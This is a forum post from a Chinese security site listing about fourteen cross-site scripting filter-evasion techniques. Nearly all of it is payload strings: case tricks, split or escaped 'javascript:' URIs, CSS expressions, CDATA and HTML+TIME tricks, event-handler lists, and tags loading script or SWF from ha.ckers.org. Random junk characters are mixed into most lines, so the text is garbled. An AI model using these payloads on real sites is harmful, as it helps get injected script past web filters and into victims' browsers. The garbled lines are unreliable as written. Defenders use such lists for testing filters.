找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2560|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
, i. G  i5 i8 F  y% A; ?2 E
! g- L! ]. E$ X  m% H/ K7 J' T: |1 J
# f4 y: Y, m  q; ?# O, t/ {6 w, x3 Z8 M$ U/ I+ ], n3 \( N, V
    <sCript>alert(‘d’)</scRipT>0 Y6 _# Q! @' a8 K! W
  h1 x' k$ R( r, w
2. 利用多加一些其它字符来规避Regular Expression的检查
3 K& q" z; D  ?
9 I6 g1 @) M. v% x; N    <<script>alert(‘c’)//<</script>' G7 i6 l5 L9 ]; }) ~

2 R1 }, q/ j. Q7 ^5 c    <SCRIPT a=">" SRC="t.js"></SCRIPT>" q& G% ^2 Z- I4 ~4 N

+ r$ ^2 W1 u& V5 \! B    <SCRIPT =">" SRC="t.js"></SCRIPT>
: l( T. q% J3 P* X
9 U" L$ M' B8 c; `6 M    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>, L( D- Q& p( \$ D

7 F+ `, |$ L0 [    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>2 u  S9 D9 \: M' w
1 M5 K7 }+ X3 k
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
2 g: M9 \( G  I6 f; x+ R: ^) F5 H8 `* p/ i; T. Y
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>$ Q+ q: m& n/ y# \( M, p1 G% S2 |+ w
- ?& B! x2 A# o7 w' U9 x" N* W
3. 以其它扩展名取代.js4 g% c+ w, r% Q& \) J) \

$ h' }1 W& j: N, Q7 v    <script src="bad.jpg"></script>7 _8 d  r- K3 {: S1 k) t

: B) X* T% g) ~4. 将Javascript写在CSS档里7 C5 ]  E8 b" b$ t

0 h! X# V2 @# x9 t$ K. Y. ~    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">" G" V+ }# l' A. A
; h1 H: |) S1 [: E! c; p1 J
       example:) R0 b& U  r2 x% J. i2 `

7 w" o. l( u9 `2 I1 X) l" W) l/ B          body {, Z4 R% U0 `# A# {
( |8 K$ x0 y9 W: c6 O: S
               background-image: url(‘javascript:alert("XSS");’)
* E. I% j7 q- `$ T9 G
+ O2 P: k% Y& V$ O9 U          }0 p# j% V6 E; S, T: a! o$ J

' L9 D$ r3 ]1 Q5. 在script的tag里加入一些其它字符
7 J: N' L( [( I1 z6 J- |/ K' g1 m5 T8 k% t+ D
    <SCRIPT/SRC="t.js"></SCRIPT>
9 K( f0 V/ [0 z6 q! A) }
+ X8 A1 j- I! n# \# l& q$ A! N    <SCRIPT/anyword SRC="t.js"></SCRIPT>
1 S$ B9 r  b  M) N3 h( q
1 f5 ^8 F7 D2 l4 T7 C6. 使用tab或是new line来规避- [/ y3 f+ y* b% G% f2 M

# K- O! G5 Q' C2 y* f! I* z# l! A  e    <img src="jav ascr ipt:alert(‘XSS3′)">
  k: s* }+ q) F* p0 L8 k8 G4 Z# f5 E& }9 f
    <img src="jav ascr ipt:alert(‘XSS3′)">0 M2 I& H( C% ]- s; r
4 p/ f( C7 U& x* Z9 t
    <IMG SRC="jav ascript:alert(‘XSS’);">
8 A  Y0 O+ u: g8 ?2 O8 ?* R; }, J7 f) {9 F7 S1 D" H
         -> tag
! s" {/ L9 p/ r7 s1 q5 Q- @* E- k( w7 p6 |# a/ ~
         -> new line
  I( g5 }- L3 g/ z; V
, o/ x9 W: U( {* d7. 使用"\"来规避
8 m4 \7 ]" V- T* Z3 W0 T. x/ r! y" I- T; O4 A/ H3 @9 y
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
# Z# f+ M0 |2 g. b- h4 b' ]' G
4 s& S% y# l: l. e1 W    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
1 e) {' L  \/ C1 a+ b) b5 M) N6 ?4 z- f7 ^0 v) i
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
4 k; E. W) |6 z- m( I6 E5 Q1 u! r3 s2 R
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">3 @  l% e  P6 |3 [5 b

( H* Z- Q. d8 I/ J: h- s, W    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
: _* H! d3 N4 v/ ~  q; i2 Z4 T+ z( y- |( n+ t
8. 使用Hex encode来规避(也可能会把";"拿掉)9 H2 }2 B. [( h2 Z! \
6 \- S$ V% l. M6 h4 s8 k1 k
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">! G2 C; `5 F2 S+ ^2 [6 |( c$ ~
3 R* ?; K+ `/ Z
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
; b$ e7 v2 F* ~) y" d3 n3 q- ?6 O$ i8 I5 W
0 ~' J  [7 Q2 w) s" t) L    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
! v# J* D: f" X: H' R
* e7 }: S4 N; n' I- L2 i- ~        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
! O" H: {4 H# T; C: L, Q' w3 D
4 x& \0 h9 l3 w: i9. script in HTML tag+ Z9 H+ m- B7 g0 e) A
9 ^7 _( ^4 Z: N: G3 K* V- a
    <body onload=」alert(‘onload’)」>; k  P1 v/ m! B4 e$ V$ c

6 I% W: u5 Q" p3 m9 y* b        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload+ Q6 C: b0 I4 I! W! B

+ X% R/ p) `: `# A10. 在swf里含有xss的code
; l5 Y' {4 c  W6 E3 U2 W5 e
" ~' N/ C7 s, z  N, h    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>- ?. M, J( C( t2 S! k6 Y1 J& g

) ^7 p- [5 J8 e% E& j  d( V11. 利用CDATA将xss的code拆开,再组合起来。$ V& T1 k- i5 V- p. q, D! P  b

7 L7 @5 M8 W3 E8 F0 x    <XML ID=I><X><C>
7 V! U* |" ]- T* t# V
: R) s0 J& V4 Z6 |# [( f    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
' `- i) K3 E. _5 E4 Z* k6 r- q' N* `3 g8 Q
    </C></X>1 c& Q0 x. U: ~" \* ]
$ `! i* r! b: c$ _
    </xml>' Z6 w$ h/ q$ T( R3 J: _" O) v
5 X3 W7 H7 P5 _& p8 V3 N" G
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
5 @3 B% T# @- }  Y' Q( a# I  q  v6 S. o( I- }
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>. ~( S$ x8 }7 i% Z
7 }' U- e5 L+ |% T" B
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
. C7 M4 i/ y+ }$ `9 [. S# |- I" v% s- v' j
12. 利用HTML+TIME。" V: u  I  G3 p. ?
) d0 `5 \& H  v
    <HTML><BODY>% j0 p0 o. k  x+ X2 q8 z
% G- x; i) x/ ~2 r% Z
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
. B7 ~! H1 h3 H' M$ G6 h& l( L; R. K" ?, q
    <?import namespace="t" implementation="#default#time2">
! i& O5 @8 j9 o8 r, i* k/ u  V% t; U, p4 r
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">  \/ t5 J  c% n- v
' q. Y# e( a2 i, t7 r
    </BODY></HTML>
: V% Z1 d4 T* e/ T7 m" B; f5 W' p9 y: p/ d/ f8 g; k2 B9 F8 G$ C
13. 透过META写入Cookie。
2 ?8 E& P& O% c8 r" N* T, D; [- p* `: z  r3 C) m" q
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">+ m- q/ ~. v7 V5 A, Y* @: c3 Z
$ y3 Z! Z% t6 x* K$ n
14. javascript in src , href , url/ w$ w2 r% x& |* J7 T( q

- I' v! n  e! p3 c    <IFRAME SRC=javascript:alert(’13′)></IFRAME>9 d. Q, n. C9 }' w
9 f; ]4 @* G3 ?0 i
    <img src="javascript:alert(‘XSS3′)">; ]. p$ P8 a1 r1 Y) T
# R1 W4 e/ r3 S( b2 J0 n
<IMG DYNSRC="javascript:alert(‘XSS20′)">8 W. N+ I& T8 _" p
6 `! c% O4 N: h5 z% I) n* V
    <IMG LOWSRC="javascript:alert(‘XSS21′)">
4 u' ~; v* }% T" I
( B% E9 [  h$ Y8 [1 F    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
7 k: v3 e1 j+ a- o5 R
% Z& ?+ a6 X1 |    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>* E5 H: x( Y9 ]0 |' |7 a8 s  b
1 h8 G( V9 X( l# ]
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">9 H1 G4 W2 a# a0 E5 w
* N9 b, g; V5 h& s7 W
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">  x" [& ^  k: }1 `/ s
% h) X) ?1 _+ m$ S
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
  \2 v& p- K3 \1 N5 U4 S3 P% q
$ _2 f2 j2 X. e) T" o: y& K$ T# @    </STYLE><A CLASS=XSS></A>
3 M8 w. `! a# f6 @$ w+ [5 b. W! Y. C
, E! _$ ]" R+ u% ~7 H2 [    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>  T; z# W8 A+ ], u9 I# Q
% O; K( |0 l& Q" L, e2 [; f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表